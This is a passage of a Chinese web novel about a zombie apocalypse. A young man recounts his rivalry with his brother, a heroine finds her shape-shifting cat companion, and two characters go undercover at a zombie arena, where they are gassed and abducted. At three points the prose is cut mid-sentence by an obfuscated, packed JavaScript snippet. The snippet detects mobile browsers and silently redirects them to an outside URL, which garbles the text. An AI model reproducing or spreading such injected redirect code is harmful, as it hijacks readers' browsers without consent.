然而,在沈观宴眼里,他的兄长沈观离却是个不折不扣的伪君子。 沈观离看起来温柔,却总会在他面前以一副柔和的姿态说出最恶劣的话,装着为他好的嘴脸,说出的话却处处都在打压他这个弟弟。 沈观离辅导他学习时,很少会教他真正有用的知识,讲解沈观宴的错误时,也仅仅会告诉他正确答案。 “抱歉,我做题的时候,一般会跳过逻辑过程,所以我也不知道该怎么解释这个答案。” 不想教可以直接拒绝,为什么要说这种话? 在明里暗里贬低他智商低,不能像兄长一样直接得出答案吗? 不仅如此,沈观离最常问他的问题就是:“你想做家族继承人吗?” 沈观宴觉得他的问题十分可笑,自己年纪小不懂事的时候可能还臆想过那个位置,可继承人的位置难道是自己想要就能得到的吗? 再看看已经被家族认定为继承人的沈观离,沈观宴不由阴暗地揣测。 自己如果真的回答想,难不成沈观离会把继承人的位置拱手让人吗? 不会的,这个人只会假惺惺地朝他说些无关紧要的话,反而让他的火气更大。 在这种环境里,沈观宴简直要窒息了。 高二的某一天,沈观宴夜里惊醒,下楼找水喝,看到沙发上瘫着一个身影。 当时已经进入自家公司实习的沈观离整个身体陷进沙发里,形成一个很不体面的姿态,脑袋靠在沙发靠垫上,高高仰着,目光发直地凝视着头顶的吊灯。 沈观宴不想理他,装作没看到这个人,绕过他自顾自去喝水。 “沈观宴。” 他的兄长又一次用那种低弱,轻柔的声线叫了他的名字。 “你真的不想做家族继承人吗?” 121. 北方基地9 你想成为家族继承人吗? 从小到大,这个问题,沈观宴不厌其烦地回答了很多次。 不想,完全不想。 渐渐的,这个简单的问句从沈观离口中说出时,就带上了某种负面的意象。 “问我这个干什么?我说了多少次了我根本没想过这个事,从来就没想过抢你的位置!我现在人在这个家里都碍到你的眼了吧?那我需不需要搬出去?让你眼不见为净?” 沈观宴脑子登时痛得仿佛要炸开,口不择言讥讽回去。 听到他的话,他的兄长愣住了。 苍白的面容浮起了一丝仿佛愠怒的红晕。 “我不是那个意思......” 沈观离的声音轻柔地落了下去。 沈观宴端着水杯,扭头就走。 一年后,沈观宴放弃了在国内按部就班高考,转而选择了出国留学,终于离开了这个名为沈家的囚笼。 离开了家,他以往暴躁乖戾的性情逐渐平稳下来,才变成了现在池遥印象中的模样。 末日到来时,沈观宴正巧在家中过暑假,他大学学的艺术专业,在家中毫无用武之地,每天的日常就是和狐朋狗友出去鬼混,晚上泡在酒吧夜不归宿。 那个时候,他可是烟酒都来的。 然而,末日的到来彻底打乱了他的生活。 他与沈观离二人都觉醒了能力,然而,从小到大都表现得十分优秀的沈观离,觉醒的能力却与他一直以来给人的印象大相径庭。 那位自始至终完美,体面,温文尔雅的继承人,觉醒的能力却如此不堪。 而一直被笼罩在优秀兄长阴影之下的自己,却觉醒了压缩空气爆炸的强大能力。 愈发猖獗的丧尸让平稳的社会秩序在几天之内迅速崩塌,沈家凭借沈观离和沈观宴两个出色的能力者,仍旧屹立于北方基地权力中心,然而,沈观离和沈观宴的地位却在无形中缓慢发生变化。 沈观离的能力可以让其他人感受到与他同等的痛苦,因此,沈观离伤得越重,能力就越强大。 可重伤的沈观离长期缠绵于病榻,逐渐远离权力中心,他的能力和病骨支离的躯体难以让他继续维持体面,像从前一样从容地出入于各个公共场合。 起初,沈观宴并未意识到什么,他只是遵从沈父的吩咐,跟随在沈观离身边辅助兄长,然而,久而久之,他忽然意识到,周围人看他的目光变了。 若是从前,这些跟在沈父身边的人,虽然权力不及沈父,但也算是有权有势,这群人平日里就算看到沈观宴,也不会给出任何反应。 然而,末日后,当他与沈观离站在一起时,众人的目光会时不时从他身上掠过,甚至,他开始收到一些人讨好或谄媚的目光。 有了能力后,他与沈观离相比,反而有了更大的优势。 行动比沈观离更果断,身体比沈观离更健康,能力比沈观离杀伤力更强。 连年纪也比沈观离小两岁,更有发展潜力。 在沈观宴注意不到的角落,北方基地的势力逐渐分成不同派系,而支持他当继承人的派系,比他想象中更庞大。 他怎么可能会成为继承人? 更何况,从很小的时候起,整个家族就把沈观离当成继承人来培养,他从一开始就是被放弃的孩子,现在见他能力强,反而要把他推上继承人这个位置? 沈观宴开始找各种借口离开北方基地。 起初,他与担任外部巡查队队长的林北辰一起,去各个基地巡查,铲除北方基地外的丧尸,在北方基地外,他看到了不少长途跋涉而来,却被北方基地拒之门外的普通人。 “现在北方基地已经不接纳普通人了,还来干什么,这不是浪费我们的时间吗?”林北辰盯着那些身形狼狈的幸存者,面露不虞之色。 沈观宴没有接话。 等林北辰带队再次出发时,沈观宴却没有跟上去,他摸出了一根纸烟,点燃,深吸一口气,吐出的烟雾模糊了他的视线。 “我还有其他事做,你们出发吧。” 林北辰没多想,带队开车走了。 沈观宴把自己的车子开出来,载上一车无处可去的幸存者,寻找可以安置他们的地方。 于是,就出现了饶城基地。 沈观宴建立饶城基地的初衷很简单,他只是想给无处可去的普通人一个住处。 然而,在他再一次回到沈家时,却得知了一件让他作呕的事。 沈家垄断了新研制出的能力屏蔽仪。 能力屏蔽仪只能屏蔽能力者的能力,对丧尸不起效,根本无法帮助人类铲除丧尸,反而加剧了人类之间的尔虞我诈。 沈观宴不明白大肆生产这种垃圾有什么意义。 之后,他又亲眼目睹了生产屏蔽仪的实验室。 这个名叫屏蔽仪的东西,没有任何技术含量,只是从丧尸身上取下来的肉块。 沈观宴盯着冰柜里还保有人形的高等丧尸。 这一刻,他心中对家族的不满,对北方基地的怨怼,对周围环境的不适如同海啸一般吞没了他,让他浑身发冷,几欲作呕。 他开始长时间留在饶城基地里,与基地的普通人一同建设基地,偶尔回北方基地露个面就找借口离开,途中还带出了一些同样厌倦了北方基地生活的能力者,这几位能力者碰巧都是与生产相关的能力,饶城基地的资源越来越富足。 直到收到林北辰的消息,林北辰说他找到了霍云初的线索,沈观宴才再次回了北方基地,和林北辰一同出发。 之后,就遇上了路过饶城基地的池遥一行人。 他的故事讲完了。 然而,二人的神色并未因此而轻松下去,池遥坐在长椅上,脑海中一半在回味沈观宴的话,另一半,则在警惕周围。 不久前,她忽然产生了一种被凝视的感觉。 池遥对他人的视线十分敏锐,然而,暗处窥视她的人似乎没什么杀意。 在黑市园区的时候,池遥屡次感觉到被窥视的目光,那个时候,自己能明显感知到,对方充满了恶意,甚至是杀意。 离开黑市之后,独自一人出现在饶城基地外时,她也感受过几次同样带有恶意的视线,却一直没有找到暗处窥视她的人究竟是谁。 难不成,这一次,她终于要揪到那个神秘人了吗? “沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891480|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观宴,你感受到了吗?”她压低声音,轻声问他。 “有人在跟踪我们。” “我也感受到了。”沈观宴点点头,拉着池遥站起身,“我们朝前走一走,找一个人多的角落,看看什么情况。” 池遥点点头,默不作声地跟在他身旁,一同向前走去。 尽管这一次,暗中凝视她的目光似乎并不带恶意,可被之前满含杀意的目光折磨太多次,池遥心中有些没底。 这次的人,和之前是同一人吗? 对方究竟是什么人? 为什么要藏匿在暗处观察她呢? 池遥想不明白,心脏砰砰直跳,攥紧了沈观宴的衣袖。 “这是定制的,别捏皱了。” 沈观宴把自己的西装袖子从池遥手中拯救出来。 池遥无语地扫了一眼他因为长时间奔跑,早已多处褶皱的西服,嫌弃地放开手。 沈观宴似乎感受到了她微妙的嫌弃,摘掉一颗流光溢彩的宝石袖扣,讨好地递到她手里,池遥没拒绝,直接放进了吊坠内。 穿过无人的空巷,二人在小路上七拐八拐,绕了十几分钟,身后那道视线仍旧如影随形。 “究竟是什么情况,你有头绪吗?”池遥又问沈观宴。 也许身后的人的目标并非自己,而是一怒之下离开北方基地的沈观宴呢? “有可能,不会是我家派人出来找我了吧?” 沈观宴也拿不定主意。 池遥心中却不这样认为。 如果沈家真的派人来找,一定会在第一时间露面,不可能会暗中跟在二人身后不出声。 周围的小路错综复杂,十分狭窄,两人刚才特意加快了脚步,在小巷中反复绕路。 身后跟踪他们的人是怎么既能保持隐匿身形,又紧紧追踪在他们身后,保证不跟丢的呢? 池遥蹙眉思考。 这一段复杂的小路空无一人,如果身后有人跟踪,难免会听到对方的脚步声或者呼吸声,可是,这些她通通没有感受到。 她和沈观宴都是五感被加强过的能力者,怎么会察觉不到? 除非,暗中跟踪的人并不在他们身后! 周围的小路两旁是低矮的平房,层高很低。 鬼使神差的,池遥猛地抬起头,见到她的动作,身旁的沈观宴一同抬起头,朝着两侧建筑顶上看去。 他看到,距离二人最近的房檐上,蹲坐着一只娇小玲珑,极为漂亮的白猫。 小猫个头不大,身姿轻盈敏捷,一双蓝汪汪的眼睛与他们对视,仅仅对视一秒,就骄矜地扭过脖子,娇声娇气地叫了一声,从建筑另一侧飞跃而下,不知道跑哪儿去了。 “喵呜!” 干净漂亮的雪白毛团一消失,之前被人凝视的感觉也随之消失,沈观宴不能接受二人居然是被一只小猫跟踪了,忍不住开口。 “我还当是什么呢,原来只是一只猫,也不知道谁养的那么好,浑身上下一点灰尘都没有!” 池遥忽然攥住了他的手,手劲很大。 “是......” 她的声音有些发抖。 “是我养的!” 122. 北方基地10 再次见到这只小猫,池遥根本无法把目光从它身上挪开,只能愣愣地用视线反复观察它。 干净,雪白,一尘不染的绒毛,一如既往漂亮又伶俐的蓝眼睛,几个月不见,仍旧轻盈娇小的身躯。 来到这个世界后,池遥也时不时想到它,担心它独自一个人会不会遇到危险。 看上去,即便在这个世界,它生活得仍旧很好。 池遥心中暗暗松了一口气,又隐秘地感到一点失落。 看来,即便不跟在她身边,这只聪明的小猫仍旧有自己的生存之道。 “快追上去!” 沈观宴还没反应过来,池遥就立刻动身向前跑去,想绕路去小猫逃走的那边。 沈观宴立刻跟了上去。 绕过一条路,终于来到建筑另一侧,早就没了小猫的影子。 “那是你养的猫吗?”沈观宴问她。 “是我在上一个世界的伙伴,是一个能变成猫的能力者。”池遥迟疑了一下,“不过我也不知道它长什么样子,只认识它变成小猫之后的样子。” “那是伙伴?”沈观宴听后觉得池遥像一个被陌生小猫碰瓷的冤大头,“你确定对方也是这么想你的吗?” “不确定。”池遥的回答毫不犹豫,从确定这只小猫的真实身份是能力者后,她就知道,这只小猫恐怕只是利用她通过景点,去到下一个世界。 但是,即便如此,总要先找到它,当面问问对方的想法吧? 毕竟,她也算是这个小东西短短一段时间的“主人”? 小猫动作轻盈地跳下建筑,从年久失修的墙角下钻了出去,又横穿过几条小路,才终于到了一条相对宽阔的大路上。 它四下打量了一番,周围空无一人,十分安全。 下一秒,地上小小的影子变成了人影。 人影顺着大路走出去,来到一条有不少幸存者的宽阔广场上,它似乎觉得这里极为安全,停下脚步,脊背放松下来,靠在一条立柱边,长出一口气。 广场上零零散散分布着十几个人,有无家可归,干脆将铺盖铺在广场上的流浪汉,有呆呆地坐在广场上,消磨时间的老人。 它在这些人当中,显得有些格格不入。 不远处,走来一对衣装昂贵,打扮得干净整洁,同样与环境格格不入的男女。 它朝那边看一眼,认出那两人是池遥和沈观宴,微微蹙起眉头,有点想离开,可池遥和沈观宴已经走进了广场,它如果此时逃走,一定会被两人发现。 怎么办? 它仍旧靠在柱子的阴影之下,身体没动,但浑身肌肉紧绷,低垂着脑袋。 脚步声越来越近。 不会的,池遥不会发现它的,毕竟它此时是人形,池遥从未见过它的真容,而且...... 脚步声在它身边不远处停下。 它不由屏住呼吸。 “绒绒?” 熟悉的声音在不远处响起。 池遥和沈观宴找了一路,都没有看到小猫的影子,连个人影都没看到。 走了一会儿,出了小巷,眼前是一个废弃的广场,广场上的幸存者很稀疏,大概有十几个人。 “它会不会是变成人形了?”池遥思考着这个可能性,拉着沈观宴走上了广场。 “你没见过它的真容,怎么找它?”沈观宴不由开口问道。 池遥没有回答他的话。 她走上广场,四处打量起来。 广场上的幸存者大多上了年纪,瘦骨嶙峋,十分狼狈,整个人变得疲惫而麻木,池遥和沈观宴从他们身边走过时,这些人连看都不看池遥一眼。 她的小猫,会隐藏在这些人当中吗? 池遥走了一圈,将广场上所有人都打量了一番,没有找到和自己心中设想的条件相符的人。 她的小猫没有绝育,她当时一眼就看出了它是只公猫,它的性别应该是不会改换的,因此,人形的模样也应该用“他”指代。 那么,首先,他是一位男性。 不仅如此,这只小猫一直保持着四五个月的幼猫体型,即便在几个月后仍旧如此,因此,他变成小猫后的体貌应该取决于他还是人类时的年龄。 因此,他大概是位年轻男性。 然而,放眼整片广场,除沈观宴之外,池遥找不出一个符合“年轻男性”这个定义的人。 难不成,她猜错了? 她的小猫并没有来到这里? 池遥定在原地,蹙眉思索起来。 为什么突然出现,又要突然逃走呢? 如果小猫厌恶她,或者真的不想见面,根本没必要在她面前现身啊! 池遥抬起头,再次仔仔细细地观察起广场上的人,有一个人背对着他们,背靠着立柱,看不太清脸,于是,池遥拉着沈观宴,朝着那个人靠近了一些。 她仍旧找不到任何一个可能是她的小猫的人。 只是,如果现在直接离开,她也有点不甘心。 最后再试一次吧。 池遥深吸一口气,将一直萦绕在脑海当中的名字,叫了出来。 “绒绒?” 在她出声的同时,背靠着柱子的人突然回头看了过来,与她对上视线时,目光极为惊愕。 “绒绒!” 只有她的小猫会对她取的名字有反应,这就是她的绒绒! 池遥立刻朝着那人走去,身边的沈观宴借着体型优势钳制住那人,防止对方逃跑。 站在这个人面前,池遥仔仔细细地观察着此人的容貌。 这是一个身形高挑,穿一身造型繁复华丽的洛丽塔连衣裙的......年轻女孩? 咦? 池遥上前一步,在女孩惊恐的目光中,伸出手,解开了对方脖颈前的小领结。 失去领结的掩饰,清瘦的喉间,有什么东西上下滚动了一下。 池遥伸手,用指腹按住那个东西,抬起头,与女孩清丽漂亮的眼睛对视,又不可置信地看看手指下的东西,再次抬头与对方对视。 “这是......喉结吧?” “嗯。”对方被她按着脆弱的喉结,只能发出一个模糊的哼声。 “男扮女装?”池遥放开手,上下扫了一眼面前的人,得知他的真实性别,再次观察对方。 这是一个身形在男性中显得有些瘦小的年轻男孩,个头不高,身形纤薄,骨架很小,又有一张十分清秀漂亮的面庞,乍一看还真像一个可爱的女孩子。 只是,眼前的这个男孩,看上去似乎比池遥年纪还要小。 见池遥已经识破了他的真实身份,男孩彻底不装了,一手利落地摘下头顶的假发,露出一头清爽的碎短发。 忽略身上的连衣裙,此时的他看起来,就像一个清秀干净的男高中生。 “现在总该告诉我你的名字了吧?” 面对比自己小的孩子,池遥终是叹了口气,刚刚还有些凌厉的语气放柔了一点。 “......苏榕。”少年与她对视几秒,扭过头,轻声开口。 他的声线清凌凌的,像山间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895499|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的泉水,十分清澈好听。 还真是叫绒绒。 “好吧,苏榕,你为什么要跟踪我?如果想找我的话,直接露面就行啊。” 少年侧着脸,躲避开她的视线,迟迟没有开口。 “我没想找你。”苏榕抿了抿唇,语气很僵硬,“我就是,有事想和你说。” 池遥点点头,示意他继续说下去。 这个人,变成猫时可以缠着她撒娇,但人形时却意外的很别扭呢。 “你从上一个景点离开的时候,落了一张寻人启事在那里。”苏榕垂下脑袋,不去看池遥,语速越说越快,“我就,就把那张寻人启事带走了。我可没有别的意思,就是好奇你想找什么人。来到这个世界之后路过饶城,那里有一个黑市。带着你朋友那个寻人启事太麻烦了,我就把它丢到黑市里了,没有想帮你找朋友的意思。” “前段时间,有一个人联系我,说是有你朋友的情报,不过那个人现在不在北方基地附近,在北方基地南部的丧尸竞技场。我就是把这件事告诉你。” 池遥脑海中回想起在黑市看到的寻人启事。 贴在最中心最显眼的位置,每七天付一个三阶晶核,他直接交了两个月的费用,就是八枚三阶晶核,这简直是一笔巨款。 原来是自己的小猫贴的啊! 她心里立刻充盈起满溢的感动,忍不住笑起来,却被苏榕警告地看了一眼。 “我都说了,我没有帮你的意思!” “嗯嗯。”池遥决定不相信他的话,只看他的行动,这家伙言不由衷口不对心的,远远不如当小猫的时候讨人喜欢。 “情报人姓赫,说是只要去了竞技场,就能找到他,我把消息传达给你们了,现在可以走了吧?” 苏榕仰头看向身边的沈观宴。 苏榕个子不高,也只超出一米七几厘米,身形也是完全没发育起来的少年体型。但沈观宴穿鞋身高超过一米九,健身痕迹明显,站在苏榕身边很有威慑力。 听到他的话,沈观宴立刻看向池遥,而池遥却冲沈观宴摇摇头。 “等一下,我还有一件事想问你。” 她沉默一会儿,轻声开口。 “哦。”少年将视线挪回池遥脸上,与她对视了一秒后又迅速移开眼神,“你问。” “在上一个世界,你是主动找上我的,后来去景点也是,我从头到尾都没有要求你做什么,甚至给你安排好了后路,是你坚定地跟上来,要一起去景点的。” “所以,在上一个世界,一直都是你主动要和我一起的,我虽然知道你大概有自己的打算,但是还是把你当做伙伴,但我不知道你是怎么看待我的。” “你想离开,我不会阻拦。但我只是想问你一句,你还想继续作为我的伙伴,跟在我身边吗?” “我还挺想和你一起的。” 池遥一口气问出一大堆话,面前的少年却毫无反应,于是她示意沈观宴放开苏榕。 半晌,少年仍旧一言不发。 这大概就是拒绝了吧? “那我们就先走了,感谢你给我们的情报。” 池遥对此倒是不意外,主动开口道别,和沈观宴一同转身离开。 走出广场,她忽然听到身后传来窸窸窣窣的声音,下一秒,一团熟悉的重量跃上她的肩膀。 池遥伸出手,把柔软的毛团从肩膀上捞下来,顺手塞进怀里,心中暗暗叹了口气。 这家伙怎么就这么别扭,人形的时候一句软话也不说,非要变成小猫才能跟在她身边吗? 123. 花城纪事1 “既然你决定和我一起走,有件事我很好奇。”池遥问起自己从见到苏榕本人开始就十分好奇的那个问题。 “你为什么穿女装?” 良久,一片沉默,小猫窝在她的怀里,一声不吭。 半晌,发出了一个欲盖弥彰,娇弱又可怜的小猫叫声。 “别装,我知道你能说话。”池遥掂起他的小爪子,用力握了一下。 “......南部的丧尸竞技场,是会员预约制,普通能力者和幸存者是没资格进入的。”苏榕的声音不情不愿地响起。 “但是,竞技场在长期对外招募女佣。” 说到这里,苏榕就不再继续说下去了,但池遥已经理解他穿女装的意图。 在遇到他们之前,苏榕一定是打算扮成女性,亲自潜入竞技场与情报者会面。 不过,这个只实行预约制的竞技场,他们似乎可以用正当途径进入。 池遥看向身边的沈观宴。 “你们说的竞技场我听说过,在北方基地的上流圈子里很有名。”沈观宴停下脚步,“不过我也没去过,而且那个地方距离北方基地比较远,开车大概需要两三天。” “如果要去竞技场的话,我问问林北辰,他似乎是那里的常客。” 林北辰常去......那大概也不是什么好地方。 池遥点点头,忽然想到另一件事,如果此时直接动身前往竞技场的话,三人需要一辆车子。 她从外套口袋里找出沈观离的车钥匙,挂在手指上转了几圈。 另一边,沈观宴已经掏出对讲机,熟练地调到林北辰的频道。 “怎么了?”很快,林北辰的声音就夹杂着模糊的电流音传了过来。 “南方花城的丧尸竞技场,你有印象吗?”沈观宴开口问道。 “嗯,你要过去?” “对,里面是什么情况?我听说去那里还要提前预约,怎么预约?” 对面林北辰的声音顿了顿,那边背景音似乎有点吵闹,时不时有广播的声音。 “你在哪里?我正好没事,过去找你当面说。” 隔了半秒,林北辰低声回答。 “我在基地出口外面。”沈观宴刚说完,池遥就凑到了一旁。 “林北辰,我是池遥,可以帮我一个忙吗?”她与沈观宴对视一眼,举起挂在手指上的车钥匙,向他示意,后者了然地点点头。 “沈观离送了我一辆车,车钥匙在我手里。车现在在北方基地出口附近停着,是一辆黑色轿车,我给你车钥匙,你可以帮我把这辆车开出来吗?” “不用给我车钥匙了,我手下有能搬动汽车的能力者。”或许是因为沈观宴在一旁,林北辰变得格外好说话。 很快,沈观宴收起对讲机,两人带着小猫一同回到基地出口前。 大概半小时,林北辰的身影就出现了,他身后跟着一位穿巡逻队制服,身高两米,满脸络腮胡的壮汉,壮汉轻轻松松扛着沈观离送的轿车跟在他身后,将轿车放在沈观宴面前。 “是这辆车吧?”林北辰先看向池遥。 池遥立刻用车钥匙打开车门,林北辰点了点头,拉开副驾驶门,坐进副驾驶,池遥本想坐在驾驶座的,看到林北辰坐在副驾驶位,立刻将驾驶位让给了沈观宴,自己抱着苏榕打开了后座的门。 “你先回去吧。”林北辰示意壮汉离开,等池遥坐进后座,才开口问沈观宴。 “你父亲让你当继承人,你为什么拒绝了?你不是一直想要这个位置吗?” “消息传得那么快?你已经知道了?”沈观宴扶着额头,深深叹了口气。 “那倒没有,你爸封锁了消息,连你离开基地的消息也一起封锁了。我是通过其他渠道知道的。”林北辰眉头紧蹙,神色竟然有几分怒其不争的怨气。 “我不是说过很多次吗,我从来都没想过继承家业,你别拿你的想法操控我。”沈观宴语气半解释半调侃地回应了一句。 “而且,我叫你来是问你竞技场的事的,你别岔开话题。” 池遥抱着小猫坐在后座,两人识趣地没发出任何声音,静静地听前座二人吵架。 “花城的丧尸竞技场很邪门,我不建议你过去。”林北辰终于说起了丧尸竞技场的话题。 花城是末日后受丧尸影响最严重的城市。 丧尸爆发前,全世界爆发了大规模流感,而在流感爆发前不久,花城的一家药企研发了一款感冒冲剂,价格低廉,只在花城一个城市发售,花了大力气营销,那段时间,花城几乎家家户户都在抢这一款感冒冲剂。 这之后,流感爆发,很多人发起了高烧,这款感冒冲剂再次发布了广告,声称没得流感的人喝下这款冲剂,对预防流感十分有效。 因此,只要是花城居民,无论是病人还是健康的普通人,几乎全部服用了这款感冒冲剂。 然而,奇怪的事发生了。 服下感冒冲剂的病人没有任何好转,但提前服用冲剂的人却没有一个患上流感。 花城的流感情况渐渐被控制住了。 正当花城居民因此庆幸时,丧尸爆发了。 奇怪的是,服用了感冒冲剂的病人,几乎全部变成了二阶和三阶丧尸,在这些能力明显强于一阶丧尸的丧尸攻势下,花城最先沦陷,变成了一座死城。 奇怪的是,那些服用冲剂后躲过流感的普通人,在被丧尸感染后,变成高阶丧尸的概率也远远大于普通人。 丧尸爆发仅仅几天,花城就彻底沦陷,城内到处都是横行的丧尸。 然而,半个月后,沦陷的花城城郊,开设了一个丧尸竞技场。 丧尸竞技场面积巨大,几乎涵盖了整个花城,这个竞技场用不为人知的手段将全城丧尸控制起来,供普通人和能力者当靶子练习,或者泄愤。 北方基地成立初期,为了锻炼自己的能力,林北辰就是丧尸竞技场的常客。 只是,当时的竞技场客人众多,每天死在顾客手下的丧尸数量无数,但丧尸竞技场的丧尸却仿佛无穷无尽一般。 不仅如此,在其他地方难以遇到的三阶丧尸,在竞技场里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905311|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却像大白菜一样到处都是。 “我加在一起林林总总也去过十次以上了,起初一心练习能力,没有察觉,后来越来越觉得那地方不对劲,就不再去了。” 林北辰叹了口气。 “只不过,那里的预约制度很严苛,只有权贵拥有预约资格,而且,一个预约名额只有一个人。我倒是能帮你预约,不过你恐怕只能自己一个人进去,池遥得找其他办法。” 闻言,池遥低头,看了一眼乖乖趴在她腿上的小猫。 看来,只有沈观宴可以光明正大进入竞技场,她和苏榕恐怕还是要采用应聘女佣的办法。 林北辰似乎很忙,在车里坐了不到一个小时,对讲机响了好多次,他帮沈观宴预约了竞技场名额后就离开了。 车里只剩下池遥,沈观宴,还有苏榕三人。 三人调转了一下位置,沈观宴坐进驾驶位,池遥坐进副驾驶,而苏榕变回人形,松松散散地倚在后座,裙摆下露出两条白皙修长的腿。 “看来我和苏榕还是要通过应聘的办法进去。”池遥扭头对沈观宴说话,说着说着,目光停在他身上。 沈观宴身上的高定西装剪裁得恰到好处,只是,原本面料高昂,垂坠感极强的西裤在坐下后反而清晰显现出大腿肌肉轮廓,也勾勒出大腿上一圈衬衫夹带子的痕迹。 “我这身衣服束缚感太强了,你们先出去一下,我整理一下。”沈观宴很快注意到了她的视线。 的确,之后要连续开两三天的车,腿上戴着衬衫夹确实不方便,但池遥还是借机多看了两眼,才和苏榕一起下了车。 苏榕只比池遥高出几厘米,二人面对面站着,池遥可以很轻易地直视他的眼睛。 “对了,还没问你的年纪,你成年了吗?”池遥打量他一会儿,好奇地问道。 他看起来真的只有十六七岁,完全是高中生的年纪。 “我成为天赋者的时候是十七岁。”苏榕似乎觉得被池遥看扁了,脸色变红了一点,“天赋者觉醒能力之后年龄会停止生长,所以我只是看起来十七岁而已,去过的世界比你多很多!真实年龄也比你大!” “是是是。”池遥敷衍地点头。 是年上还是年下,她自有判断。 “不过,我见过的能力者不多,能力者之间互报年龄的话,是报觉醒天赋时的年龄吗?”她又问。 “是的。”苏榕点点头,“尤其是旅人之间,只会报外表年龄,很多旅人穿越的世界不同,虽然不同世界时间流速相同,但不同世界之间差别太大,很多人会失去时间概念。” 池遥点了点头。 的确,比如殷蘅,那个人看上去似乎不比自己大几岁,但或许这只是他的外表年龄而已。 “我结束了。” 身后的车窗缓缓下降,露出沈观宴的脸,他还穿着身上的西装,但褪下了衬衫夹,袖扣,领带夹等不必要的小装饰。 “上车吧,两位,我们出发去花城了。” 池遥和苏榕拉开车门上车,车子发动,对照着地图朝着花城驶去。 124. 花城纪事2 抵达花城的第二天,池遥和苏榕换上一身简约的半裙制服,融入竞技场内的员工人流中。 昨天,刚到达花城,池遥和苏榕就前去竞技场,顺利通过了面试,成为了正式员工。 池遥和苏榕二人也才发现,竞技场对外招募的并非女佣,而是男女不限的佣人,也就是服务生,只是不知为何,消息传到北方基地就被曲解成了女佣。不过苏榕一直穿着女装,况且如果他和池遥都被认作女性大概率会被分配到同一间宿舍,方便共同行动,因此,苏榕仍旧伪装成女性身份。 而沈观宴明天才会正式光顾竞技场。 原本预计两三天的路程,总共用了四天才到,这四天沈观宴最想念的人就是留在北方基地的韩厢月,没有了韩厢月,团队里除他之外没人会开车,连个可以和他交替开车的人都没有。 几天下来,池遥和苏榕精力充沛,沈观宴疲惫至极,原本预计三人同时进入竞技场,但沈观宴实在扛不住,决定休息一天。 池遥和苏榕就先行来到了竞技场内。 两人被分配在竞技场内的自助餐厅内,负责自助餐厅内的传菜服务,自助餐厅内的服务生不多,两人负责大半区域,忙得脚不沾地,根本没有时间去寻找姓赫的情报人。 午间的自助餐服务开设到下午两点半结束,之后,池遥和苏榕配合其他同事撤下餐盘,收拾餐厅。又继续填补晚间自助所需的食物和餐具,偌大的餐厅里只有服务生们来回走动。 “主管姐姐,我想问一下,这边有姓赫的人吗?”池遥好奇地向负责餐厅区域的女主管打听。 “谁知道呢,这里都称呼编号,谁知道都叫什么名字!”女主管瞪了她一眼。 “还说什么闲话?活不够多是吧?” 的确,通过面试后,池遥和苏榕都多了一块胸牌,牌子上雕刻着他们的工号,没有其他信息,员工彼此之间用工号后几位数字相互称呼,没有人会主动说出自己的名字。 池遥立刻低头,装作听话地继续码放餐盘,视线飘向不远处的苏榕。 苏榕正站在另一侧,一手拿餐盘,一手用夹子码放小蛋糕,完全没时间与她交流。 下午五点,晚间自助餐正式开始,服务生们再度忙碌起来,直到晚上十点才结束用餐,服务生们仍旧无法休息,还要收拾剩菜和餐盘,接着进行更换桌布,擦杯子,叠纸巾盒等等琐碎的工作。 回到宿舍,已经是凌晨一点了。 明天的工作要求早上九点到场,两人从早到晚工作了十几个小时,饶是体能远高于普通人类的能力者,也感到分外疲惫。 宿舍是狭窄的四人间,另外两名舍友似乎负责夜班,此时并不在房间里。 “除了猫,你还能变成其他动物吗?”池遥悄声问道。 “我可以变成任何动物。”苏榕点点头。 “那明天我自己去上班,我替你请假,就说你病倒了。你偷偷溜去竞技场其他地方看看,能不能找到情报者。” 苏榕扭过头,深深看了她一眼,似乎有话想说,但还是点了点头。 太累了,池遥可以在短时间内汇集力量爆发性杀死丧尸,却很难连续十几个小时连轴转地劳动,脱去外套就一头扎在床上,长出一口气。 她累得几乎瞬间就进入了梦乡,但身边稍微有一点微弱的动静,立刻又惊醒了过来。 一旁,苏榕似乎是打算趁她睡着换下身上的裙子,手刚碰到拉链,还没往下拉,就对上了池遥的视线。 “你的睡眠质量怎么还是......一点好转都没有。” 少年叹了口气,放弃了换衣服的打算,走到她床边,变成池遥熟悉的猫咪形态,和往常一样,乖巧地趴在了她的枕边,不再动弹。 二人均是疲惫至极,毫无防备,陷入梦乡。 一小时后,安静的宿舍内渐渐泛起一片白烟,被毫无防备的一人一猫吸入。 几名头戴面罩,身穿防护服的人冲进房间,将一人一猫绑起来,带离宿舍。 